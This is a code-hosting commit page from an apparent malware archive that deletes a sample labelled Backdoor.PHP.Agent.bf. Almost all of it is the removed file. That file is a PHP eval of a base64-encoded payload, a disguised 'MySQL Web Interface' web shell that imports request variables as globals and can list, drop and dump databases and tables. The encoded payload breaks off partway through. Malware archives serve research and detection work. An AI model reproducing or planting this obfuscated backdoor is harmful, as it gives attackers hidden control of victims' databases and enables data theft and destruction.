Skip to content
Snippets Groups Projects
Unverified Commit b9da4222 authored by vxunderground's avatar vxunderground Committed by GitHub
Browse files

Delete Backdoor.PHP.Agent.bf

parent 643a071a
No related branches found
No related tags found
No related merge requests found
<? eval (base64_decode('LyoNCiAqIE15U1FMIFdlYiBJbnRlcmZhY2UgVmVyc2lvbiAyDQ ogKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQog KiBEZXZlbG9wZWQgQnkgc05pcGVyX2hFeA0KKi8NCg0KaWYgKC BmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSApIHsNCgkkb25v ZmYgPSBpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxzJyk7DQp9IG Vsc2Ugew0KCSRvbm9mZiA9IGdldF9jZmdfdmFyKCdyZWdpc3Rl cl9nbG9iYWxzJyk7DQp9DQppZiAoJG9ub2ZmICE9IDEpIHsNCg lAZXh0cmFjdCgkSFRUUF9TRVJWRVJfVkFSUywgRVhUUl9TS0lQ KTsNCglAZXh0cmFjdCgkSFRUUF9DT09LSUVfVkFSUywgRVhUUl 9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX0ZJTEVTLCBF WFRSX1NLSVApOw0KCUBleHRyYWN0KCRIVFRQX1BPU1RfVkFSUy wgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9HRVRfVkFS UywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9FTlZfVk FSUywgRVhUUl9TS0lQKTsNCn0NCg0KZnVuY3Rpb24gbG9nb24o KSB7DQoJZ2xvYmFsICRQSFBfU0VMRjsNCg0KCXNldGNvb2tpZS ggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIgKTsNCglzZXRj b29raWUoICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiICk7DQ oJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX2hvc3RuYW1l IiApOw0KCWVjaG8gIjxodG1sPlxuIjsNCgllY2hvICI8aGVhZD 5cbiI7DQoJZWNobyAiPHRpdGxlPk15U1FMIEludGVyZmFjZTwv dGl0bGU+XG4iOw0KCWVjaG8gIjwvaGVhZD5cbiI7DQoJZWNoby AiPGJvZHk+XG4iOw0KCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAl IGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJZW NobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTI+PHRyPjx0ZCBiZ2Nv bG9yPSNhNGEyNjA+PGNlbnRlcj5cbiI7DQoJZWNobyAiPHRhYm xlIGNlbGxwYWRkaW5nPTIwPjx0cj48dGQgYmdjb2xvcj0jZmZm ZmZmPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBXZW IgSW50ZXJmYWNlPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0 aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdH lwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9bG9nb25fc3Vi bWl0PlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NS BjZWxsc3BhY2luZz0xPlxuIjsNCgllY2hvICI8dHI+PHRkPkhv c3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbW U9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3Ry PlxuIjsNCgllY2hvICI8dHI+PHRkPlVzZXJuYW1lIDwvdGQ+PH RkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dXNlcm5hbWU+PC90 ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkPlBhc3N3b3JkID wvdGQ+PHRkPiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBh c3N3b3JkPjwvdGQ+PC90cj5cbiI7DQoJZWNobyAiPC90YWJsZT 48cD5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZh bHVlPSdFbnRlcic+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPX Jlc2V0IHZhbHVlPSdDbGVhcic+PGJyPlxuIjsNCgllY2hvICI8 L2Zvcm0+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj 48L3RhYmxlPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwv dHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPHA+PGhyIHdpZHRoPT MwMD5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwv dGFibGU+XG4iOw0KCWVjaG8gIjwvYm9keT5cbiI7DQoJZWNoby AiPC9odG1sPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3Vi bWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZC wgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1l ID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCX NldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIs ICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl 9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNv b2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3 N0bmFtZSApOw0KCWVjaG8gIjxodG1sPiI7DQoJZWNobyAiPGhl YWQ+IjsNCgllY2hvICI8TUVUQSBIVFRQLUVRVUlWPVJlZnJlc2 ggQ09OVEVOVD0nMDsgVVJMPSRQSFBfU0VMRj9hY3Rpb249bGlz dERCcyc+IjsNCgllY2hvICI8L2hlYWQ+IjsNCgllY2hvICI8L2 h0bWw+IjsNCn0NCg0KZnVuY3Rpb24gZWNob1F1ZXJ5UmVzdWx0 KCkgew0KCWdsb2JhbCAkcXVlcnlTdHIsICRlcnJNc2c7DQoNCg lpZiggJGVyck1zZyA9PSAiIiApICRlcnJNc2cgPSAiU3VjY2Vz cyI7DQoJaWYoICRxdWVyeVN0ciAhPSAiIiApIHsNCgkJZWNoby AiPHRhYmxlIGNlbGxwYWRkaW5nPTU+XG4iOw0KCQllY2hvICI8 dHI+PHRkPlF1ZXJ5PC90ZD48dGQ+JHF1ZXJ5U3RyPC90ZD48L3 RyPlxuIjsNCgkJZWNobyAiPHRyPjx0ZD5SZXN1bHQ8L3RkPjx0 ZD4kZXJyTXNnPC90ZD48L3RyPlxuIjsNCgkJZWNobyAiPC90YW JsZT48cD5cbiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBsaXN0RGF0 YWJhc2VzKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRQSF BfU0VMRjsNCg0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwv aDE+XG4iOw0KDQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1 NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4g bmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlREI+XG4iOw0KCWVjaG 8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kYm5hbWU+XG4iOw0K CWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ3JlYX RlIERhdGFiYXNlJz5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsN CgllY2hvICI8aHI+XG4iOw0KDQoJZWNobyAiPHRhYmxlIGNlbG xzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoNCgkkcERC ID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCS RudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvcigg JGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbW UgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8g Ijx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbi I7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0 aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlcz wvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQ SFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJy BvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJh c2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw 0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlv bj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZX R1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVc Jz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdH I+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0K ZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsIC RteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KDQoJ bXlzcWxfY3JlYXRlX2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbG UgKTsNCglsaXN0RGF0YWJhc2VzKCk7DQp9DQoNCmZ1bmN0aW9u IGRyb3BEYXRhYmFzZSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZG xlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoNCglteXNxbF9kcm9w X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglsaXN0RG F0YWJhc2VzKCk7DQp9DQoNCmZ1bmN0aW9uIGxpc3RUYWJsZXMo KSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJF BIUF9TRUxGOw0KDQoNCgllY2hvICI8aDE+VGFibGVzIExpc3Q8 L2gxPlxuIjsNCgllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZG JuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgll Y2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOw0KCW VjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2 YWx1ZT1jcmVhdGVUYWJsZT5cbiI7DQoJZWNobyAiPGlucHV0IH R5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+ XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT10YW JsZW5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1p dCB2YWx1ZT0nQ3JlYXRlIFRhYmxlJz5cbiI7DQoJZWNobyAiPC 9mb3JtPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBf U0VMRic+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbi BuYW1lPWFjdGlvbiB2YWx1ZT1xdWVyeT5cbiI7DQoJZWNobyAi PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPS RkYm5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQg c2l6ZT0xMjAgbmFtZT1xdWVyeVN0cj5cbiI7DQoJZWNobyAiPG lucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdRdWVyeSc+XG4iOw0K CWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCg 0KCSRwVGFibGUgPSBteXNxbF9saXN0X3RhYmxlcyggJGRibmFt ZSApOw0KDQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZy AgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3Ig OiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG 51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoNCgll Y2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz 01PlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRp KysgKSB7DQoJCSR0YWJsZW5hbWUgPSBteXNxbF90YWJsZW5hbW UoICRwVGFibGUsICRpICk7DQoNCgkJZWNobyAiPHRyPlxuIjsN CgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZV xuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5c biI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb2 49dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9 JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC 90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxh IGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld0RhdGEmZGJuYW 1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPkRhdGE8 L2E+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJZWNobyAiPH RkPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2Fj dGlvbj1kcm9wVGFibGUmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW 1lPSR0YWJsZW5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmly bSgnRHJvcCBUYWJsZSBcJyR0YWJsZW5hbWVcJz8nKVwiPkRyb3 A8L2E+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJZWNobyAi PHRkPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2 FjdGlvbj1kdW1wVGFibGUmZGJuYW1lPSRkYm5hbWUmdGFibGVu YW1lPSR0YWJsZW5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZm lybSgnRHVtcCBUYWJsZSBcJyR0YWJsZW5hbWVcJz8nKVwiPkR1 bXA8L2E+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJZWNoby AiPC90cj5cbiI7DQoJfQ0KDQoJZWNobyAiPC90YWJsZT4iOw0K fQ0KDQpmdW5jdGlvbiBjcmVhdGVUYWJsZSgpIHsNCglnbG9iYW wgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAk UEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCg0KCSRxdW VyeVN0ciA9ICJDUkVBVEUgVEFCTEUgJHRhYmxlbmFtZSAoIG5v IElOVCApIjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsIC RteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlT dHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF 9lcnJvcigpOw0KDQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5j dGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbm RsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAk cXVlcnlTdHIsICRlcnJNc2c7DQoNCgkkcXVlcnlTdHIgPSAiRF JPUCBUQUJMRSAkdGFibGVuYW1lIjsNCglteXNxbF9zZWxlY3Rf ZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3 F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRl cnJNc2cgPSBteXNxbF9lcnJvcigpOw0KDQoJbGlzdFRhYmxlcy gpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3U2NoZW1hKCkgew0KCWds b2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbW UsICRQSFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KDQoJ ZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG 8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFi bGVuYW1lPC9wPlxuIjsNCg0KCWVjaG9RdWVyeVJlc3VsdCgpOw 0KDQoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1h ZGRGaWVsZCZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYm xlbmFtZSc+QWRkIEZpZWxkPC9hPiB8IFxuIjsNCgllY2hvICI8 YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXZpZXdEYXRhJmRibm FtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3 IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoNCgkkcF Jlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hP VyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPS BteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCg0KCWVjaG8g Ijx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTU+XG 4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZWNobyAiPHRoPkZpZWxk PC90aD5cbiI7DQoJZWNobyAiPHRoPlR5cGU8L3RoPlxuIjsNCg llY2hvICI8dGg+TnVsbDwvdGg+XG4iOw0KCWVjaG8gIjx0aD5L ZXk8L3RoPlxuIjsNCgllY2hvICI8dGg+RGVmYXVsdDwvdGg+XG 4iOw0KCWVjaG8gIjx0aD5FeHRyYTwvdGg+XG4iOw0KCWVjaG8g Ijx0aCBjb2xzcGFuPTI+QWN0aW9uPC90aD5cbiI7DQoJZWNoby AiPC90cj5cbiI7DQoNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRu dW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2 FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0K CQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG 4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90 ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLi I8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXki XS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRG VmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZp ZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZS A9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhy ZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT 0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFt ZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2 hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9w RmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW 5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJy ZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbW VcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwv dHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCg0KfQ 0KDQpmdW5jdGlvbiBtYW5hZ2VGaWVsZCggJGNtZCApIHsNCgln bG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW 1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEY7DQoNCglpZiggJGNt ZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxoMT5BZGQgRmllbGQ8L2 gxPlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsN CgkJZWNobyAiPGgxPkVkaXQgRmllbGQ8L2gxPlxuIjsNCgkJJH BSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNI T1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkJJG51bS A9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCQlmb3Io ICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZW xkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJ CQlpZiggJGZpZWxkWyJGaWVsZCJdID09ICRmaWVsZG5hbWUgKS B7DQoJCQkJJGZpZWxkdHlwZSA9ICRmaWVsZFsiVHlwZSJdOw0K CQkJCSRmaWVsZGtleSA9ICRmaWVsZFsiS2V5Il07DQoJCQkJJG ZpZWxkZXh0cmEgPSAkZmllbGRbIkV4dHJhIl07DQoJCQkJJGZp ZWxkbnVsbCA9ICRmaWVsZFsiTnVsbCJdOw0KCQkJCSRmaWVsZG RlZmF1bHQgPSAkZmllbGRbIkRlZmF1bHQiXTsNCgkJCQlicmVh azsNCgkJCX0NCgkJfQ0KCQkkdHlwZSA9IHN0cnRvayggJGZpZW xkdHlwZSwgIiAoLClcbiIgKTsNCgkJaWYoIHN0cnBvcyggJGZp ZWxkdHlwZSwgIigiICkgKSB7DQoJCQlpZiggJHR5cGUgPT0gIm VudW0iIHwgJHR5cGUgPT0gInNldCIgKSB7DQoJCQkJJHZhbHVl bGlzdCA9IHN0cnRvayggIiAoKVxuIiApOw0KCQkJfSBlbHNlIH sNCgkJCQkkTSA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCQlp Ziggc3RycG9zKCAkZmllbGR0eXBlLCAiLCIgKSApDQoJCQkJCS REID0gc3RydG9rKCAiICgsKVxuIiApOw0KCQkJfQ0KCQl9DQoJ fQ0KDQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZS AmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVjaG8gIjxmb3Jt IGFjdGlvbj0kUEhQX1NFTEY+XG4iOw0KDQoJaWYoICRjbWQgPT 0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4g bmFtZT1hY3Rpb24gdmFsdWU9YWRkRmllbGRfc3VibWl0PlxuIj sNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsNCgkJZWNo byAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbH VlPWVkaXRGaWVsZF9zdWJtaXQ+XG4iOw0KCQllY2hvICI8aW5w dXQgdHlwZT1oaWRkZW4gbmFtZT1vbGRfbmFtZSB2YWx1ZT0kZm llbGRuYW1lPlxuIjsNCgl9DQoJZWNobyAiPGlucHV0IHR5cGU9 aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOw 0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXRhYmxl bmFtZSB2YWx1ZT0kdGFibGVuYW1lPlxuIjsNCg0KCWVjaG8gIj xoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9 dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbi I7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCg0KPGZvbnQg c2l6ZT0yPg0KKiBgTVwnIGluZGljYXRlcyB0aGUgbWF4aW11bS BkaXNwbGF5IHNpemUuPGJyPg0KKiBgRFwnIGFwcGxpZXMgdG8g ZmxvYXRpbmctcG9pbnQgdHlwZXMgYW5kIGluZGljYXRlcyB0aG UgbnVtYmVyIG9mIGRpZ2l0cyBmb2xsb3dpbmcgdGhlIGRlY2lt YWwgcG9pbnQuPGJyPg0KPC9mb250Pg0KDQo8dGFibGU+DQo8dH I+DQo8dGg+VHlwZTwvdGg+PHRoPiZuYnNwTSZuYnNwPC90aD48 dGg+Jm5ic3BEJm5ic3A8L3RoPjx0aD51bnNpZ25lZDwvdGg+PH RoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD4NCjwvdHI+ DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eX BlIHZhbHVlPSJUSU5ZSU5UIiAnOyBpZiggJHR5cGUgPT0gInRp bnlpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllJTl QgKC0xMjggfiAxMjcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+ TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbn Rlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8 dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdX QgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNNQUxMSU5U IiAnOyBpZiggJHR5cGUgPT0gInNtYWxsaW50IiApIGVjaG8gIm NoZWNrZWQiO2VjaG8gJz5TTUFMTElOVCAoLTMyNzY4IH4gMzI3 NjcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dG Q+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4N Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3 RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRp byBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUlOVCIgJzsgaWYoIC R0eXBlID09ICJtZWRpdW1pbnQiICkgZWNobyAiY2hlY2tlZCI7 ZWNobyAnPk1FRElVTUlOVCAoLTgzODg2MDggfiA4Mzg4NjA3KT wvdGQ+DQoNCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+ Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCj x0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3Rk Pg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpby BuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09 ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLT IxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxp Z249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZC BhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVy Pk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQ o8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVl PSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIG VjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcy MDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3 RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJz cDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIG FsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8 L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbW U9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAi ZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC 90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxp Z249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZC BhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0K PC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW 1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09 ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVU JMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRk IGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQ o8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90 ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW 